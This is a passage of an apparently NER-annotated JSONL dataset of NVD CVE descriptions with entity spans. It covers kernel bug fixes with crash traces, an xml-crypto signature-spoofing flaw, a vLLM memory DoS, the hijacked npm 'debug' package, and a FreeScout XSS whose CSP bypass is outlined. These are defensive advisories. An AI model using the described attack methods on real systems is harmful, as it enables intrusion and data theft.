[[376, 391], [429, 444], [539, 554], [1218, 1233]], "FILEPATH: /sctp/associola.c": [[485, 502], [1106, 1123], [1164, 1181]], "FILEPATH: /sctp/input.c": [[593, 606], [1272, 1285]], "FILEPATH: /net/sock.h": [[648, 659], [1327, 1338]], "FILEPATH: /core/sock.c": [[698, 710], [746, 758], [1377, 1389], [1425, 1437]], "FILEPATH: /sctp/socket.c": [[804, 818], [865, 879], [918, 932], [1483, 1497], [1544, 1558], [1597, 1611]], "FILEPATH: /ipv4/af_inet.c": [[969, 984], [1648, 1663]], "FILEPATH: socket.c": [[1015, 1023], [1694, 1702]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38718"}}
{"text": "xml-crypto is an xml digital signature and encryption library for Node.js. In affected versions the default configuration does not check authorization of the signer, it only checks the validity of the signature per section 3.2.2 of the w3 xmldsig-core-20080610 spec. As such, without additional validation steps, the default configuration allows a malicious actor to re-sign an XML document, place the certificate in a `<KeyInfo />` element, and pass `xml-crypto` default validation checks. As a result `xml-crypto` trusts by default any certificate provided via digitally signed XML document's `<KeyInfo />`. `xml-crypto` prefers to use any certificate provided via digitally signed XML document's `<KeyInfo />` even if library was configured to use specific certificate (`publicCert`) for signature verification purposes.  An attacker can spoof signature verification by modifying XML document and replacing existing signature with signature generated with malicious private key (created by attacker) and by attaching that private key's certificate to `<KeyInfo />` element. This vulnerability is combination of changes introduced to `4.0.0` on pull request 301 / commit `c2b83f98` and has been addressed in version 6.0.0 with pull request 445 / commit `21201723d`. Users are advised to upgrade. Users unable to upgrade may either check the certificate extracted via `getCertFromKeyInfo` against trusted certificates before accepting the results of the validation or set `xml-crypto's getCertFromKeyInfo` to `() => undefined` forcing `xml-crypto` to use an explicitly configured `publicCert` or `privateKey` for signature verification.", "spans": {"FILEPATH: Node.js": [[66, 73]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-32962"}}
{"text": "vLLM is an inference and serving engine for large language models (LLMs). From 0.7.0 to before 0.19.0, the VideoMediaIO.load_base64() method at vllm/multimodal/media/video.py splits video/jpeg data URLs by comma to extract individual JPEG frames, but does not enforce a frame count limit. The num_frames parameter (default: 32), which is enforced by the load_bytes() code path, is completely bypassed in the video/jpeg base64 path. An attacker can send a single API request containing thousands of comma-separated base64-encoded JPEG frames, causing the server to decode all frames into memory and crash with OOM. This vulnerability is fixed in 0.19.0.", "spans": {"FILEPATH: /multimodal/media/video.py": [[148, 174]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34755"}}
{"text": "debug is a JavaScript debugging utility. On 8 September 2025, the npm publishing account for debug was taken over after a phishing attack. Version 4.4.2 was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments. Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct <script> inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt. The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper. On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. Users should upgrade to the latest patch version, completely remove their node_modules directory, clean their package manager's global cache, and rebuild any browser bundles from scratch. Those operating private registries or registry mirrors should purge the offending versions from any caches. This issue has been resolved in 4.4.3.", "spans": {"FILEPATH: Next.js": [[595, 602]], "ORGANIZATION: npm": [[66, 69], [788, 791], [917, 920]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59144"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmacsec: sync features on RTM_NEWLINK\n\nSyzkaller managed to lock the lower device via ETHTOOL_SFEATURES:\n\n netdev_lock include/linux/netdevice.h:2761 [inline]\n netdev_lock_ops include/net/netdev_lock.h:42 [inline]\n netdev_sync_lower_features net/core/dev.c:10649 [inline]\n __netdev_update_features+0xcb1/0x1be0 net/core/dev.c:10819\n netdev_update_features+0x6d/0xe0 net/core/dev.c:10876\n macsec_notify+0x2f5/0x660 drivers/net/macsec.c:4533\n notifier_call_chain+0x1b3/0x3e0 kernel/notifier.c:85\n call_netdevice_notifiers_extack net/core/dev.c:2267 [inline]\n call_netdevice_notifiers net/core/dev.c:2281 [inline]\n netdev_features_change+0x85/0xc0 net/core/dev.c:1570\n __dev_ethtool net/ethtool/ioctl.c:3469 [inline]\n dev_ethtool+0x1536/0x19b0 net/ethtool/ioctl.c:3502\n dev_ioctl+0x392/0x1150 net/core/dev_ioctl.c:759\n\nIt happens because lower features are out of sync with the upper:\n\n  __dev_ethtool (real_dev)\n    netdev_lock_ops(real_dev)\n    ETHTOOL_SFEATURES\n      __netdev_features_change\n        netdev_sync_upper_features\n          disable LRO on the lower\n    if (old_features != dev->features)\n      netdev_features_change\n        fires NETDEV_FEAT_CHANGE\n\tmacsec_notify\n\t  NETDEV_FEAT_CHANGE\n\t    netdev_update_features (for each macsec dev)\n\t      netdev_sync_lower_features\n\t        if (upper_features != lower_features)\n\t          netdev_lock_ops(lower) # lower == real_dev\n\t\t  stuck\n\t\t  ...\n\n    netdev_unlock_ops(real_dev)\n\nPer commit af5f54b0ef9e (\"net: Lock lower level devices when updating\nfeatures\"), we elide the lock/unlock when the upper and lower features\nare synced. Makes sure the lower (real_dev) has proper features after\nthe macsec link has been created. This makes sure we never hit the\nsituation where we need to sync upper flags to the lower.", "spans": {"FILEPATH: /linux/netdevice.h": [[194, 212]], "FILEPATH: /net/netdev_lock.h": [[251, 269]], "FILEPATH: /core/dev.c": [[313, 324], [382, 393], [437, 448], [598, 609], [653, 664], [716, 727]], "FILEPATH: /net/macsec.c": [[489, 502]], "FILEPATH: /ethtool/ioctl.c": [[751, 767], [812, 828]], "FILEPATH: /core/dev_ioctl.c": [[861, 878]], "FILEPATH: notifier.c": [[548, 558]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39874"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Fix wild-memory-access in register_synth_event()\n\nIn register_synth_event(), if set_synth_event_print_fmt() failed, then\nboth trace_remove_event_call() and unregister_trace_event() will be\ncalled, which means the trace_event_call will call\n__unregister_trace_event() twice. As the result, the second unregister\nwill causes the wild-memory-access.\n\nregister_synth_event\n    set_synth_event_print_fmt failed\n    trace_remove_event_call\n        event_remove\n            if call->event.funcs then\n            __unregister_trace_event (first call)\n    unregister_trace_event\n        __unregister_trace_event (second call)\n\nFix the bug by avoiding to call the second __unregister_trace_event() by\nchecking if the first one is called.\n\ngeneral protection fault, probably for non-canonical address\n\t0xfbd59c0000000024: 0000 [#1] SMP KASAN PTI\nKASAN: maybe wild-memory-access in range\n[0xdead000000000120-0xdead000000000127]\nCPU: 0 PID: 3807 Comm: modprobe Not tainted\n6.1.0-rc1-00186-g76f33a7eedb4 #299\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\nrel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org 04/01/2014\nRIP: 0010:unregister_trace_event+0x6e/0x280\nCode: 00 fc ff df 4c 89 ea 48 c1 ea 03 80 3c 02 00 0f 85 0e 02 00 00 48\nb8 00 00 00 00 00 fc ff df 4c 8b 63 08 4c 89 e2 48 c1 ea 03 <80> 3c 02\n00 0f 85 e2 01 00 00 49 89 2c 24 48 85 ed 74 28 e8 7a 9b\nRSP: 0018:ffff88810413f370 EFLAGS: 00010a06\nRAX: dffffc0000000000 RBX: ffff888105d050b0 RCX: 0000000000000000\nRDX: 1bd5a00000000024 RSI: ffff888119e276e0 RDI: ffffffff835a8b20\nRBP: dead000000000100 R08: 0000000000000000 R09: fffffbfff0913481\nR10: ffffffff8489a407 R11: fffffbfff0913480 R12: dead000000000122\nR13: ffff888105d050b8 R14: 0000000000000000 R15: ffff888105d05028\nFS:  00007f7823e8d540(0000) GS:ffff888119e00000(0000)\nknlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f7823e7ebec CR3: 000000010a058002 CR4: 0000000000330ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n __create_synth_event+0x1e37/0x1eb0\n create_or_delete_synth_event+0x110/0x250\n synth_event_run_command+0x2f/0x110\n test_gen_synth_cmd+0x170/0x2eb [synth_event_gen_test]\n synth_event_gen_test_init+0x76/0x9bc [synth_event_gen_test]\n do_one_initcall+0xdb/0x480\n do_init_module+0x1cf/0x680\n load_module+0x6a50/0x70a0\n __do_sys_finit_module+0x12f/0x1c0\n do_syscall_64+0x3f/0x90\n entry_SYSCALL_64_after_hwframe+0x63/0xcd", "spans": {"DOMAIN: rel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org": [[1133, 1177]], "FILEPATH: /01/2014": [[1180, 1188]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1088, 1092]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49799"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.11 and 8.6.37, Parse Server's built-in OAuth2 auth adapter exports a singleton instance that is reused directly across all OAuth2 provider configurations. Under concurrent authentication requests for different OAuth2 providers, one provider's token validation may execute using another provider's configuration, potentially allowing a token that should be rejected by one provider to be accepted because it is validated against a different provider's policy. Deployments that configure multiple OAuth2 providers via the oauth2: true flag are affected. This vulnerability is fixed in 9.6.0-alpha.11 and 8.6.37.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32242"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: Lag, fix failure to cancel delayed bond work\n\nCommit 0d4e8ed139d8 (\"net/mlx5: Lag, avoid lockdep warnings\")\naccidentally removed a call to cancel delayed bond work thus it may\ncause queued delay to expire and fall on an already destroyed work\nqueue.\n\nFix by restoring the call cancel_delayed_work_sync() before\ndestroying the workqueue.\n\nThis prevents call trace such as this:\n\n[  329.230417] BUG: kernel NULL pointer dereference, address: 0000000000000000\n [  329.231444] #PF: supervisor write access in kernel mode\n [  329.232233] #PF: error_code(0x0002) - not-present page\n [  329.233007] PGD 0 P4D 0\n [  329.233476] Oops: 0002 [#1] SMP\n [  329.234012] CPU: 5 PID: 145 Comm: kworker/u20:4 Tainted: G OE      6.0.0-rc5_mlnx #1\n [  329.235282] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n [  329.236868] Workqueue: mlx5_cmd_0000:08:00.1 cmd_work_handler [mlx5_core]\n [  329.237886] RIP: 0010:_raw_spin_lock+0xc/0x20\n [  329.238585] Code: f0 0f b1 17 75 02 f3 c3 89 c6 e9 6f 3c 5f ff 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 0f 1f 44 00 00 31 c0 ba 01 00 00 00 <f0> 0f b1 17 75 02 f3 c3 89 c6 e9 45 3c 5f ff 0f 1f 44 00 00 0f 1f\n [  329.241156] RSP: 0018:ffffc900001b0e98 EFLAGS: 00010046\n [  329.241940] RAX: 0000000000000000 RBX: ffffffff82374ae0 RCX: 0000000000000000\n [  329.242954] RDX: 0000000000000001 RSI: 0000000000000014 RDI: 0000000000000000\n [  329.243974] RBP: ffff888106ccf000 R08: ffff8881004000c8 R09: ffff888100400000\n [  329.244990] R10: 0000000000000000 R11: ffffffff826669f8 R12: 0000000000002000\n [  329.246009] R13: 0000000000000005 R14: ffff888100aa7ce0 R15: ffff88852ca80000\n [  329.247030] FS:  0000000000000000(0000) GS:ffff88852ca80000(0000) knlGS:0000000000000000\n [  329.248260] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n [  329.249111] CR2: 0000000000000000 CR3: 000000016d675001 CR4: 0000000000770ee0\n [  329.250133] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n [  329.251152] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n [  329.252176] PKRU: 55555554", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[881, 925]], "FILEPATH: /01/2014": [[928, 936]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[839, 843]], "VULNERABILITY: NULL pointer dereference": [[484, 508]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50441"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npinctrl: equilibrium: fix warning trace on load\n\nThe callback functions 'eqbr_irq_mask()' and 'eqbr_irq_ack()' are also\ncalled in the callback function 'eqbr_irq_mask_ack()'. This is done to\navoid source code duplication. The problem, is that in the function\n'eqbr_irq_mask()' also calles the gpiolib function 'gpiochip_disable_irq()'\n\nThis generates the following warning trace in the log for every gpio on\nload.\n\n[    6.088111] ------------[ cut here ]------------\n[    6.092440] WARNING: CPU: 3 PID: 1 at drivers/gpio/gpiolib.c:3810 gpiochip_disable_irq+0x39/0x50\n[    6.097847] Modules linked in:\n[    6.097847] CPU: 3 UID: 0 PID: 1 Comm: swapper/0 Tainted: G        W          6.12.59+ #0\n[    6.097847] Tainted: [W]=WARN\n[    6.097847] RIP: 0010:gpiochip_disable_irq+0x39/0x50\n[    6.097847] Code: 39 c6 48 19 c0 21 c6 48 c1 e6 05 48 03 b2 38 03 00 00 48 81 fe 00 f0 ff ff 77 11 48 8b 46 08 f6 c4 02 74 06 f0 80 66 09 fb c3 <0f> 0b 90 0f 1f 40 00 c3 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40\n[    6.097847] RSP: 0000:ffffc9000000b830 EFLAGS: 00010046\n[    6.097847] RAX: 0000000000000045 RBX: ffff888001be02a0 RCX: 0000000000000008\n[    6.097847] RDX: ffff888001be9000 RSI: ffff888001b2dd00 RDI: ffff888001be02a0\n[    6.097847] RBP: ffffc9000000b860 R08: 0000000000000000 R09: 0000000000000000\n[    6.097847] R10: 0000000000000001 R11: ffff888001b2a154 R12: ffff888001be0514\n[    6.097847] R13: ffff888001be02a0 R14: 0000000000000008 R15: 0000000000000000\n[    6.097847] FS:  0000000000000000(0000) GS:ffff888041d80000(0000) knlGS:0000000000000000\n[    6.097847] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[    6.097847] CR2: 0000000000000000 CR3: 0000000003030000 CR4: 00000000001026b0\n[    6.097847] Call Trace:\n[    6.097847]  <TASK>\n[    6.097847]  ? eqbr_irq_mask+0x63/0x70\n[    6.097847]  ? no_action+0x10/0x10\n[    6.097847]  eqbr_irq_mask_ack+0x11/0x60\n\nIn an other driver (drivers/pinctrl/starfive/pinctrl-starfive-jh7100.c) the\ninterrupt is not disabled here.\n\nTo fix this, do not call the 'eqbr_irq_mask()' and 'eqbr_irq_ack()'\nfunction. Implement instead this directly without disabling the interrupts.", "spans": {"FILEPATH: /gpio/gpiolib.c": [[584, 599]], "FILEPATH: /pinctrl/starfive/pinctrl-starfive-jh7100.c": [[1971, 2014]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23308"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/rtrs: Add missing deinit() call\n\nA warning is triggered when repeatedly connecting and disconnecting the\nrnbd:\n list_add corruption. prev->next should be next (ffff88800b13e480), but was ffff88801ecd1338. (prev=ffff88801ecd1340).\n WARNING: CPU: 1 PID: 36562 at lib/list_debug.c:32 __list_add_valid_or_report+0x7f/0xa0\n Workqueue: ib_cm cm_work_handler [ib_cm]\n RIP: 0010:__list_add_valid_or_report+0x7f/0xa0\n  ? __list_add_valid_or_report+0x7f/0xa0\n  ib_register_event_handler+0x65/0x93 [ib_core]\n  rtrs_srv_ib_dev_init+0x29/0x30 [rtrs_server]\n  rtrs_ib_dev_find_or_add+0x124/0x1d0 [rtrs_core]\n  __alloc_path+0x46c/0x680 [rtrs_server]\n  ? rtrs_rdma_connect+0xa6/0x2d0 [rtrs_server]\n  ? rcu_is_watching+0xd/0x40\n  ? __mutex_lock+0x312/0xcf0\n  ? get_or_create_srv+0xad/0x310 [rtrs_server]\n  ? rtrs_rdma_connect+0xa6/0x2d0 [rtrs_server]\n  rtrs_rdma_connect+0x23c/0x2d0 [rtrs_server]\n  ? __lock_release+0x1b1/0x2d0\n  cma_cm_event_handler+0x4a/0x1a0 [rdma_cm]\n  cma_ib_req_handler+0x3a0/0x7e0 [rdma_cm]\n  cm_process_work+0x28/0x1a0 [ib_cm]\n  ? _raw_spin_unlock_irq+0x2f/0x50\n  cm_req_handler+0x618/0xa60 [ib_cm]\n  cm_work_handler+0x71/0x520 [ib_cm]\n\nCommit 667db86bcbe8 (\"RDMA/rtrs: Register ib event handler\") introduced a\nnew element .deinit but never used it at all. Fix it by invoking the\n`deinit()` to appropriately unregister the IB event handler.", "spans": {"FILEPATH: list_debug.c": [[339, 351]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21805"}}
{"text": "An Improper Check for Unusual or Exceptional Conditions vulnerability in the processing of specific IPv6 packets on certain EX Series devices may lead to exhaustion of DMA memory causing a Denial of Service (DoS). Over time, exploitation of this vulnerability may cause traffic to stop being forwarded, or a crash of the fxpc process. An indication of the issue occurring may be observed through the following log messages: Sep 13 17:14:59 hostname : %PFE-3: fpc0 (buf alloc) failed allocating packet buffer Sep 13 17:14:59 hostname : %PFE-7: fpc0 brcm_pkt_buf_alloc:393 (buf alloc) failed allocating packet buffer When Packet DMA heap utilization reaches 99%, the system will become unstable. Packet DMA heap utilization can be monitored using the command: user@junos# request pfe execute target fpc0 timeout 30 command \"show heap\" ID Base Total(b) Free(b) Used(b) % Name -- ---------- ----------- ----------- ----------- --- ----------- 0 213301a8 536870488 387228840 149641648 27 Kernel 1 91800000 8388608 3735120 4653488 55 DMA 2 92000000 75497472 74452192 1045280 1 PKT DMA DESC 3 d330000 335544320 257091400 78452920 23 Bcm_sdk 4 96800000 184549376 2408 184546968 99 Packet DMA <<<< 5 903fffe0 20971504 20971504 0 0 Blob This issue affects: Juniper Networks Junos OS 18.4 versions prior to 18.4R2-S10, 18.4R3-S10 on EX2300 Series, EX2300-MP Series, EX3400 Series; 19.1 versions prior to 19.1R3-S7 on EX2300 Series, EX2300-MP Series, EX3400 Series; 19.2 versions prior to 19.2R1-S8, 19.2R3-S4 on EX2300 Series, EX2300-MP Series, EX3400 Series; 19.3 versions prior to 19.3R3-S5 on EX2300 Series, EX2300-MP Series, EX3400 Series; 19.4 versions prior to 19.4R3-S7 on EX2300 Series, EX2300-MP Series, EX3400 Series; 20.1 versions prior to 20.1R3-S3 on EX2300 Series, EX2300-MP Series, EX3400 Series; 20.2 versions prior to 20.2R3-S3 on EX2300 Series, EX2300-MP Series, EX3400 Series; 20.3 versions prior to 20.3R3-S2 on EX2300 Series, EX2300-MP Series, EX3400 Series; 20.4 versions prior to 20.4R3-S1 on EX2300 Series, EX2300-MP Series, EX3400 Series; 21.1 versions prior to 21.1R2-S2, 21.1R3 on EX2300 Series, EX2300-MP Series, EX3400 Series; 21.2 versions prior to 21.2R1-S2, 21.2R2 on EX2300 Series, EX2300-MP Series, EX3400 Series; 21.3 versions prior to 21.3R1-S1, 21.3R2 on EX2300 Series, EX2300-MP Series, EX3400 Series.", "spans": {"ORGANIZATION: Juniper": [[1247, 1254]], "VULNERABILITY: Denial of Service": [[189, 206]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22180"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ni40e: fix race condition by adding filter's intermediate sync state\n\nFix a race condition in the i40e driver that leads to MAC/VLAN filters\nbecoming corrupted and leaking. Address the issue that occurs under\nheavy load when multiple threads are concurrently modifying MAC/VLAN\nfilters by setting mac and port VLAN.\n\n1. Thread T0 allocates a filter in i40e_add_filter() within\n        i40e_ndo_set_vf_port_vlan().\n2. Thread T1 concurrently frees the filter in __i40e_del_filter() within\n        i40e_ndo_set_vf_mac().\n3. Subsequently, i40e_service_task() calls i40e_sync_vsi_filters(), which\n        refers to the already freed filter memory, causing corruption.\n\nReproduction steps:\n1. Spawn multiple VFs.\n2. Apply a concurrent heavy load by running parallel operations to change\n        MAC addresses on the VFs and change port VLANs on the host.\n3. Observe errors in dmesg:\n\"Error I40E_AQ_RC_ENOSPC adding RX filters on VF XX,\n\tplease set promiscuous on manually for VF XX\".\n\nExact code for stable reproduction Intel can't open-source now.\n\nThe fix involves implementing a new intermediate filter state,\nI40E_FILTER_NEW_SYNC, for the time when a filter is on a tmp_add_list.\nThese filters cannot be deleted from the hash list directly but\nmust be removed using the full process.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[1082, 1087]], "VULNERABILITY: race condition": [[79, 93], [144, 158]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53088"}}
{"text": "swagger-codegen is an open-source project which contains a template-driven engine to generate documentation, API clients and server stubs in different languages by parsing your OpenAPI / Swagger definition. In swagger-codegen before version 2.4.19, on Unix-Like systems, the system temporary directory is shared between all local users. When files/directories are created, the default `umask` settings for the process are respected. As a result, by default, most processes/apis will create files/directories with the permissions `-rw-r--r--` and `drwxr-xr-x` respectively, unless an API that explicitly sets safe file permissions is used. Because this vulnerability impacts generated code, the generated code will remain vulnerable until fixed manually! This vulnerability is fixed in version 2.4.19. Note this is a distinct vulnerability from CVE-2021-21363.", "spans": {"CVE_ID: CVE-2021-21363": [[844, 858]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21364"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: gup: stop abusing try_grab_folio\n\nA kernel warning was reported when pinning folio in CMA memory when\nlaunching SEV virtual machine.  The splat looks like:\n\n[  464.325306] WARNING: CPU: 13 PID: 6734 at mm/gup.c:1313 __get_user_pages+0x423/0x520\n[  464.325464] CPU: 13 PID: 6734 Comm: qemu-kvm Kdump: loaded Not tainted 6.6.33+ #6\n[  464.325477] RIP: 0010:__get_user_pages+0x423/0x520\n[  464.325515] Call Trace:\n[  464.325520]  <TASK>\n[  464.325523]  ? __get_user_pages+0x423/0x520\n[  464.325528]  ? __warn+0x81/0x130\n[  464.325536]  ? __get_user_pages+0x423/0x520\n[  464.325541]  ? report_bug+0x171/0x1a0\n[  464.325549]  ? handle_bug+0x3c/0x70\n[  464.325554]  ? exc_invalid_op+0x17/0x70\n[  464.325558]  ? asm_exc_invalid_op+0x1a/0x20\n[  464.325567]  ? __get_user_pages+0x423/0x520\n[  464.325575]  __gup_longterm_locked+0x212/0x7a0\n[  464.325583]  internal_get_user_pages_fast+0xfb/0x190\n[  464.325590]  pin_user_pages_fast+0x47/0x60\n[  464.325598]  sev_pin_memory+0xca/0x170 [kvm_amd]\n[  464.325616]  sev_mem_enc_register_region+0x81/0x130 [kvm_amd]\n\nPer the analysis done by yangge, when starting the SEV virtual machine, it\nwill call pin_user_pages_fast(..., FOLL_LONGTERM, ...) to pin the memory. \nBut the page is in CMA area, so fast GUP will fail then fallback to the\nslow path due to the longterm pinnalbe check in try_grab_folio().\n\nThe slow path will try to pin the pages then migrate them out of CMA area.\nBut the slow path also uses try_grab_folio() to pin the page, it will\nalso fail due to the same check then the above warning is triggered.\n\nIn addition, the try_grab_folio() is supposed to be used in fast path and\nit elevates folio refcount by using add ref unless zero.  We are guaranteed\nto have at least one stable reference in slow path, so the simple atomic add\ncould be used.  The performance difference should be trivial, but the\nmisuse may be confusing and misleading.\n\nRedefined try_grab_folio() to try_grab_folio_fast(), and try_grab_page()\nto try_grab_folio(), and use them in the proper paths.  This solves both\nthe abuse and the kernel warning.\n\nThe proper naming makes their usecase more clear and should prevent from\nabusing in the future.\n\npeterx said:\n\n: The user will see the pin fails, for gpu-slow it further triggers the WARN\n: right below that failure (as in the original report):\n: \n:         folio = try_grab_folio(page, page_increm - 1,\n:                                 foll_flags);\n:         if (WARN_ON_ONCE(!folio)) { <------------------------ here\n:                 /*\n:                         * Release the 1st page ref if the\n:                         * folio is problematic, fail hard.\n:                         */\n:                 gup_put_folio(page_folio(page), 1,\n:                                 foll_flags);\n:                 ret = -EFAULT;\n:                 goto out;\n:         }\n\n[1] https://lore.kernel.org/linux-mm/1719478388-31917-1-git-send-email-yangge1116@126.com/\n\n[shy828301@gmail.com: fix implicit declaration of function try_grab_folio_fast]", "spans": {"URL: https://lore.kernel.org/linux-mm/1719478388-31917-1-git-send-email-yangge1116@126.com/": [[2915, 3001]], "DOMAIN: gmail.com": [[3014, 3023]], "FILEPATH: gup.c": [[278, 283]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-44943"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Studio Photo 3.6.6.922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of NEF files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-11488.", "spans": {"IP_ADDRESS: 3.6.6.922": [[117, 126]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-27857"}}
{"text": "The Rest API component of TIBCO Software Inc.'s TIBCO JasperReports Server, TIBCO JasperReports Server, TIBCO JasperReports Server, TIBCO JasperReports Server, TIBCO JasperReports Server - Community Edition, TIBCO JasperReports Server - Developer Edition, TIBCO JasperReports Server for AWS Marketplace, TIBCO JasperReports Server for ActiveMatrix BPM, and TIBCO JasperReports Server for Microsoft Azure contain a race condition that allows a low privileged authenticated attacker via the REST API to obtain read access to temporary objects created by other users on the affected system. Affected releases are TIBCO Software Inc.'s TIBCO JasperReports Server: versions 7.2.1 and below, TIBCO JasperReports Server: versions 7.5.0 and 7.5.1, TIBCO JasperReports Server: version 7.8.0, TIBCO JasperReports Server: version 7.9.0, TIBCO JasperReports Server - Community Edition: versions 7.8.0 and below, TIBCO JasperReports Server - Developer Edition: versions 7.9.0 and below, TIBCO JasperReports Server for AWS Marketplace: versions 7.9.0 and below, TIBCO JasperReports Server for ActiveMatrix BPM: versions 7.9.0 and below, and TIBCO JasperReports Server for Microsoft Azure: version 7.8.0.", "spans": {"ORGANIZATION: Microsoft": [[388, 397], [1158, 1167]], "ORGANIZATION: AWS": [[287, 290], [1005, 1008]], "VULNERABILITY: race condition": [[414, 428]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35494"}}
{"text": "The Gravity SMTP plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.1.4. This is due to a REST API endpoint registered at /wp-json/gravitysmtp/v1/tests/mock-data with a permission_callback that unconditionally returns true, allowing any unauthenticated visitor to access it. When the ?page=gravitysmtp-settings query parameter is appended, the plugin's register_connector_data() method populates internal connector data, causing the endpoint to return approximately 365 KB of JSON containing the full System Report. This makes it possible for unauthenticated attackers to retrieve detailed system configuration data including PHP version, loaded extensions, web server version, document root path, database server type and version, WordPress version, all active plugins with versions, active theme, WordPress configuration details, database table names, and any API keys/tokens configured in the plugin.", "spans": {"FILEPATH: /wp-json/gravitysmtp/v1/tests/mock-data": [[180, 219]], "SYSTEM: WordPress": [[28, 37], [790, 799], [857, 866]], "SYSTEM: PHP": [[684, 687]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4020"}}
{"text": "Expr is an expression language and expression evaluation for Go. Prior to version 1.17.0, if the Expr expression parser is given an unbounded input string, it will attempt to compile the entire string and generate an Abstract Syntax Tree (AST) node for each part of the expression. In scenarios where input size isn’t limited, a malicious or inadvertent extremely large expression can consume excessive memory as the parser builds a huge AST. This can ultimately lead to*excessive memory usage and an Out-Of-Memory (OOM) crash of the process. This issue is relatively uncommon and will only manifest when there are no restrictions on the input size, i.e. the expression length is allowed to grow arbitrarily large. In typical use cases where inputs are bounded or validated, this problem would not occur. The problem has been patched in the latest versions of the Expr library. The fix introduces compile-time limits on the number of AST nodes and memory usage during parsing, preventing any single expression from exhausting resources. Users should upgrade to Expr version 1.17.0 or later, as this release includes the new node budget and memory limit safeguards. Upgrading to v1.17.0 ensures that extremely deep or large expressions are detected and safely aborted during compilation, avoiding the OOM condition. For users who cannot immediately upgrade, the recommended workaround is to impose an input size restriction before parsing. In practice, this means validating or limiting the length of expression strings that your application will accept. For example, set a maximum allowable number of characters (or nodes) for any expression and reject or truncate inputs that exceed this limit. By ensuring no unbounded-length expression is ever fed into the parser, one can prevent the parser from constructing a pathologically large AST and avoid potential memory exhaustion. In short, pre-validate and cap input size as a safeguard in the absence of the patch.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-29786"}}
{"text": "FreeScout is a self-hosted help desk and shared mailbox. A Stored Cross-Site Scripting (XSS) vulnerability has been identified within the Signature Input Field of the FreeScout Application prior to version 1.8.128. Stored XSS occurs when user input is not properly sanitized and is stored on the server, allowing an attacker to inject malicious scripts that will be executed when other users access the affected page. In this case, the Support Agent User can inject malicious scripts into their signature, which will then be executed when viewed by the Administrator.\n\nThe application protects users against XSS attacks by enforcing a CSP policy, the CSP Policy is:  `script-src 'self' 'nonce-abcd'  `. The CSP policy only allows the inclusion of JS files that are present on the application server and doesn't allow any inline script or script other than nonce-abcd. The CSP policy was bypassed by uploading a JS file to the server by a POST request to /conversation/upload endpoint. After this, a working XSS payload was crafted by including the uploaded JS file link as the src of the script. This bypassed the CSP policy and XSS attacks became possible.\n\nThe impact of this 